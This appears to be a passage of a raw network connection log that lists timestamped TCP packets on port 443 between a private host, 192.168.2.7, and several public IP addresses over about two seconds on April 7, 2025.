Apr 7, 2025 18:10:12.713834047 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.713959932 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.714103937 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.714131117 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.714160919 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.731374025 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.731393099 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.731512070 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.731553078 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.731623888 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.731631041 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.731720924 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.731975079 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.732012033 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.732017040 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.732036114 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.732057095 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.732095957 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.732129097 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.732150078 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.748462915 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.748543978 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.748619080 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.748631954 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.748733044 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.748747110 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.748853922 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.748864889 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.748897076 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.748940945 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.748986006 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.749018908 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.749052048 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.749089003 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.749161005 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.796258926 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.818111897 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:12.818141937 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:12.818243980 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:12.821203947 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:12.821214914 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:12.832442999 CEST	49813	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:12.832472086 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:12.832537889 CEST	49813	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:12.832710028 CEST	49813	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:12.832716942 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:12.861226082 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.861356974 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.861382008 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.861505985 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.876854897 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.876910925 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.877022982 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.877051115 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.877064943 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.877091885 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.877110004 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.877166033 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.877363920 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.877432108 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.877554893 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.877631903 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.890654087 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.890674114 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.890779018 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.890799046 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.890810013 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.890816927 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.890901089 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.890922070 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.890938997 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.890944004 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.890949965 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.908833981 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.908951998 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.908977032 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.909006119 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.909044027 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.909051895 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.909234047 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.909343958 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.909380913 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.911382914 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.911420107 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.915441036 CEST	49814	443	192.168.2.7	23.44.201.7
Apr 7, 2025 18:10:12.915467978 CEST	443	49814	23.44.201.7	192.168.2.7
Apr 7, 2025 18:10:12.915532112 CEST	49814	443	192.168.2.7	23.44.201.7
Apr 7, 2025 18:10:12.916008949 CEST	49815	443	192.168.2.7	23.44.201.7
Apr 7, 2025 18:10:12.916035891 CEST	443	49815	23.44.201.7	192.168.2.7
Apr 7, 2025 18:10:12.916094065 CEST	49815	443	192.168.2.7	23.44.201.7
Apr 7, 2025 18:10:12.916291952 CEST	49814	443	192.168.2.7	23.44.201.7
Apr 7, 2025 18:10:12.916309118 CEST	443	49814	23.44.201.7	192.168.2.7
Apr 7, 2025 18:10:12.916728973 CEST	49815	443	192.168.2.7	23.44.201.7
Apr 7, 2025 18:10:12.916740894 CEST	443	49815	23.44.201.7	192.168.2.7
Apr 7, 2025 18:10:12.917704105 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.923058033 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.923146963 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.923432112 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.923449039 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.923460007 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.940470934 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.987138033 CEST	443	49811	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.987243891 CEST	49811	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.989916086 CEST	49811	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.989936113 CEST	443	49811	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.997188091 CEST	49811	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.997209072 CEST	443	49811	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:13.032028913 CEST	49816	443	192.168.2.7	20.125.209.212
Apr 7, 2025 18:10:13.032067060 CEST	443	49816	20.125.209.212	192.168.2.7
Apr 7, 2025 18:10:13.032181978 CEST	49816	443	192.168.2.7	20.125.209.212
Apr 7, 2025 18:10:13.032382965 CEST	49816	443	192.168.2.7	20.125.209.212
Apr 7, 2025 18:10:13.032391071 CEST	443	49816	20.125.209.212	192.168.2.7
Apr 7, 2025 18:10:13.033710003 CEST	49817	443	192.168.2.7	204.79.197.219
Apr 7, 2025 18:10:13.033750057 CEST	443	49817	204.79.197.219	192.168.2.7
Apr 7, 2025 18:10:13.033865929 CEST	49817	443	192.168.2.7	204.79.197.219
Apr 7, 2025 18:10:13.033992052 CEST	49818	443	192.168.2.7	204.79.197.219
Apr 7, 2025 18:10:13.034029961 CEST	443	49818	204.79.197.219	192.168.2.7
Apr 7, 2025 18:10:13.034178972 CEST	49818	443	192.168.2.7	204.79.197.219
Apr 7, 2025 18:10:13.034240007 CEST	49817	443	192.168.2.7	204.79.197.219
Apr 7, 2025 18:10:13.034252882 CEST	443	49817	204.79.197.219	192.168.2.7
Apr 7, 2025 18:10:13.034456015 CEST	49818	443	192.168.2.7	204.79.197.219
Apr 7, 2025 18:10:13.034461975 CEST	443	49818	204.79.197.219	192.168.2.7
Apr 7, 2025 18:10:13.048047066 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:13.064220905 CEST	49819	443	192.168.2.7	23.44.201.22
Apr 7, 2025 18:10:13.064274073 CEST	443	49819	23.44.201.22	192.168.2.7
Apr 7, 2025 18:10:13.064335108 CEST	49819	443	192.168.2.7	23.44.201.22
Apr 7, 2025 18:10:13.064652920 CEST	49819	443	192.168.2.7	23.44.201.22
Apr 7, 2025 18:10:13.064665079 CEST	443	49819	23.44.201.22	192.168.2.7
Apr 7, 2025 18:10:13.078388929 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:13.130548954 CEST	443	49814	23.44.201.7	192.168.2.7
Apr 7, 2025 18:10:13.130556107 CEST	443	49815	23.44.201.7	192.168.2.7
Apr 7, 2025 18:10:13.130892038 CEST	49814	443	192.168.2.7	23.44.201.7
Apr 7, 2025 18:10:13.130918980 CEST	443	49814	23.44.201.7	192.168.2.7
Apr 7, 2025 18:10:13.130990982 CEST	49815	443	192.168.2.7	23.44.201.7
Apr 7, 2025 18:10:13.131000996 CEST	443	49815	23.44.201.7	192.168.2.7
Apr 7, 2025 18:10:13.131994963 CEST	443	49814	23.44.201.7	192.168.2.7
Apr 7, 2025 18:10:13.132056952 CEST	49814	443	192.168.2.7	23.44.201.7
Apr 7, 2025 18:10:13.132510900 CEST	443	49815	23.44.201.7	192.168.2.7
Apr 7, 2025 18:10:13.132585049 CEST	49815	443	192.168.2.7	23.44.201.7
Apr 7, 2025 18:10:13.133275986 CEST	49814	443	192.168.2.7	23.44.201.7
Apr 7, 2025 18:10:13.133359909 CEST	443	49814	23.44.201.7	192.168.2.7
Apr 7, 2025 18:10:13.133845091 CEST	49815	443	192.168.2.7	23.44.201.7
Apr 7, 2025 18:10:13.133948088 CEST	443	49815	23.44.201.7	192.168.2.7
Apr 7, 2025 18:10:13.151973009 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.152266979 CEST	49813	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.152277946 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.153362036 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.153423071 CEST	49813	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.155240059 CEST	49813	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.155312061 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.157603979 CEST	49813	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.157613039 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.275571108 CEST	443	49819	23.44.201.22	192.168.2.7
Apr 7, 2025 18:10:13.275624990 CEST	49814	443	192.168.2.7	23.44.201.7
Apr 7, 2025 18:10:13.275640965 CEST	443	49814	23.44.201.7	192.168.2.7
Apr 7, 2025 18:10:13.275670052 CEST	49815	443	192.168.2.7	23.44.201.7
Apr 7, 2025 18:10:13.275681019 CEST	443	49815	23.44.201.7	192.168.2.7
Apr 7, 2025 18:10:13.278495073 CEST	49819	443	192.168.2.7	23.44.201.22
Apr 7, 2025 18:10:13.278513908 CEST	443	49819	23.44.201.22	192.168.2.7
Apr 7, 2025 18:10:13.279825926 CEST	443	49819	23.44.201.22	192.168.2.7
Apr 7, 2025 18:10:13.279884100 CEST	49819	443	192.168.2.7	23.44.201.22
Apr 7, 2025 18:10:13.280934095 CEST	49819	443	192.168.2.7	23.44.201.22
Apr 7, 2025 18:10:13.280988932 CEST	443	49819	23.44.201.22	192.168.2.7
Apr 7, 2025 18:10:13.287060976 CEST	49813	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.341506004 CEST	49820	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:13.341540098 CEST	443	49820	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:13.341723919 CEST	49820	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:13.342278957 CEST	49820	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:13.342293978 CEST	443	49820	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:13.348391056 CEST	49821	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:13.348426104 CEST	443	49821	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:13.348511934 CEST	49821	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:13.349061966 CEST	49821	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:13.349076033 CEST	443	49821	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:13.360773087 CEST	443	49817	204.79.197.219	192.168.2.7
Apr 7, 2025 18:10:13.361051083 CEST	49817	443	192.168.2.7	204.79.197.219
Apr 7, 2025 18:10:13.361068964 CEST	443	49817	204.79.197.219	192.168.2.7
Apr 7, 2025 18:10:13.362114906 CEST	443	49817	204.79.197.219	192.168.2.7
Apr 7, 2025 18:10:13.362200975 CEST	49817	443	192.168.2.7	204.79.197.219
Apr 7, 2025 18:10:13.363579035 CEST	49817	443	192.168.2.7	204.79.197.219
Apr 7, 2025 18:10:13.363636017 CEST	443	49817	204.79.197.219	192.168.2.7
Apr 7, 2025 18:10:13.364922047 CEST	443	49818	204.79.197.219	192.168.2.7
Apr 7, 2025 18:10:13.365571022 CEST	49818	443	192.168.2.7	204.79.197.219
Apr 7, 2025 18:10:13.365582943 CEST	443	49818	204.79.197.219	192.168.2.7
Apr 7, 2025 18:10:13.367002964 CEST	443	49818	204.79.197.219	192.168.2.7
Apr 7, 2025 18:10:13.367093086 CEST	49818	443	192.168.2.7	204.79.197.219
Apr 7, 2025 18:10:13.367441893 CEST	49818	443	192.168.2.7	204.79.197.219
Apr 7, 2025 18:10:13.367518902 CEST	443	49818	204.79.197.219	192.168.2.7
Apr 7, 2025 18:10:13.379590988 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.379602909 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.379622936 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.379672050 CEST	49813	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.379714012 CEST	49813	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.379719973 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.381042957 CEST	49814	443	192.168.2.7	23.44.201.7
Apr 7, 2025 18:10:13.381087065 CEST	49815	443	192.168.2.7	23.44.201.7
Apr 7, 2025 18:10:13.420922041 CEST	443	49816	20.125.209.212	192.168.2.7
Apr 7, 2025 18:10:13.421307087 CEST	49816	443	192.168.2.7	20.125.209.212
Apr 7, 2025 18:10:13.421324968 CEST	443	49816	20.125.209.212	192.168.2.7
Apr 7, 2025 18:10:13.421827078 CEST	443	49816	20.125.209.212	192.168.2.7
Apr 7, 2025 18:10:13.423105001 CEST	49816	443	192.168.2.7	20.125.209.212
Apr 7, 2025 18:10:13.423202038 CEST	443	49816	20.125.209.212	192.168.2.7
Apr 7, 2025 18:10:13.423353910 CEST	49816	443	192.168.2.7	20.125.209.212
Apr 7, 2025 18:10:13.444328070 CEST	49819	443	192.168.2.7	23.44.201.22
Apr 7, 2025 18:10:13.444346905 CEST	443	49819	23.44.201.22	192.168.2.7
Apr 7, 2025 18:10:13.444358110 CEST	49817	443	192.168.2.7	204.79.197.219
Apr 7, 2025 18:10:13.444361925 CEST	443	49817	204.79.197.219	192.168.2.7
Apr 7, 2025 18:10:13.444389105 CEST	49813	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.464279890 CEST	443	49816	20.125.209.212	192.168.2.7
Apr 7, 2025 18:10:13.541687012 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.542013884 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.542022943 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.543315887 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.543415070 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.544001102 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.544123888 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.544178963 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.544217110 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.572277069 CEST	443	49818	204.79.197.219	192.168.2.7
Apr 7, 2025 18:10:13.572336912 CEST	49818	443	192.168.2.7	204.79.197.219
Apr 7, 2025 18:10:13.583761930 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.583777905 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.583836079 CEST	49813	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.645750046 CEST	49819	443	192.168.2.7	23.44.201.22
Apr 7, 2025 18:10:13.645750999 CEST	49817	443	192.168.2.7	204.79.197.219
Apr 7, 2025 18:10:13.645756006 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.645766973 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.713789940 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.713804960 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.713857889 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.713897943 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.713906050 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.713910103 CEST	49813	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.713910103 CEST	49813	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.713927984 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.713943958 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.713948965 CEST	49813	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.713985920 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.713994026 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.713994980 CEST	49813	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.714016914 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.714029074 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.714040995 CEST	49813	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.714065075 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.714113951 CEST	49813	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.714113951 CEST	49813	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.714121103 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.716049910 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.716089964 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.716114998 CEST	49813	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.716123104 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.716131926 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.716160059 CEST	49813	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.716170073 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.716173887 CEST	49813	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.716178894 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.716274023 CEST	49813	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.751888037 CEST	443	49811	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:13.751914978 CEST	443	49811	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:13.751965046 CEST	49811	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:13.751977921 CEST	443	49811	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:13.751979113 CEST	49811	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:13.752070904 CEST	49811	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:13.752274990 CEST	49811	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:13.752284050 CEST	443	49811	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:13.757211924 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.757236958 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.757297993 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.757308960 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.757359028 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.781056881 CEST	49822	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:13.781089067 CEST	443	49822	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:13.781176090 CEST	49822	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:13.781471968 CEST	49822	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:13.781485081 CEST	443	49822	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:13.815361977 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.815459013 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.815463066 CEST	49813	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.815536976 CEST	49813	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.815874100 CEST	49813	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.815891027 CEST	443	49813	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.860435009 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.860449076 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.860480070 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.860501051 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.860512972 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.860548019 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.860558987 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.860564947 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.860589027 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.860595942 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.860618114 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.860620975 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.860645056 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.891319036 CEST	443	49821	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:13.891609907 CEST	49821	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:13.891619921 CEST	443	49821	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:13.891978979 CEST	443	49821	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:13.892497063 CEST	49821	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:13.892558098 CEST	443	49821	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:13.892724991 CEST	49821	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:13.892874956 CEST	49821	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:13.892916918 CEST	443	49821	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:13.924113989 CEST	443	49820	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:13.924384117 CEST	49820	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:13.924395084 CEST	443	49820	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:13.924751997 CEST	443	49820	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:13.925178051 CEST	49820	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:13.925246954 CEST	443	49820	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:13.925388098 CEST	49820	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:13.925471067 CEST	49820	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:13.925502062 CEST	443	49820	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:13.937093973 CEST	49823	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:13.937123060 CEST	443	49823	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:13.937218904 CEST	49823	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:13.937824965 CEST	49823	443	192.168.2.7	20.189.173.17
Apr 7, 2025 18:10:13.937839031 CEST	443	49823	20.189.173.17	192.168.2.7
Apr 7, 2025 18:10:13.960241079 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.960262060 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.960304022 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.960310936 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.960350037 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.960355997 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.960362911 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.960398912 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.960398912 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.960428953 CEST	443	49812	204.79.197.203	192.168.2.7
Apr 7, 2025 18:10:13.960427999 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:13.960443974 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:14.019893885 CEST	49812	443	192.168.2.7	204.79.197.203
Apr 7, 2025 18:10:14.034898996 CEST	443	49816	20.125.209.212	192.168.2.7
Apr 7, 2025 18:10:14.035001040 CEST	443	49816	20.125.209.212	192.168.2.7
Apr 7, 2025 18:10:14.035073042 CEST	49816	443	192.168.2.7	20.125.209.212
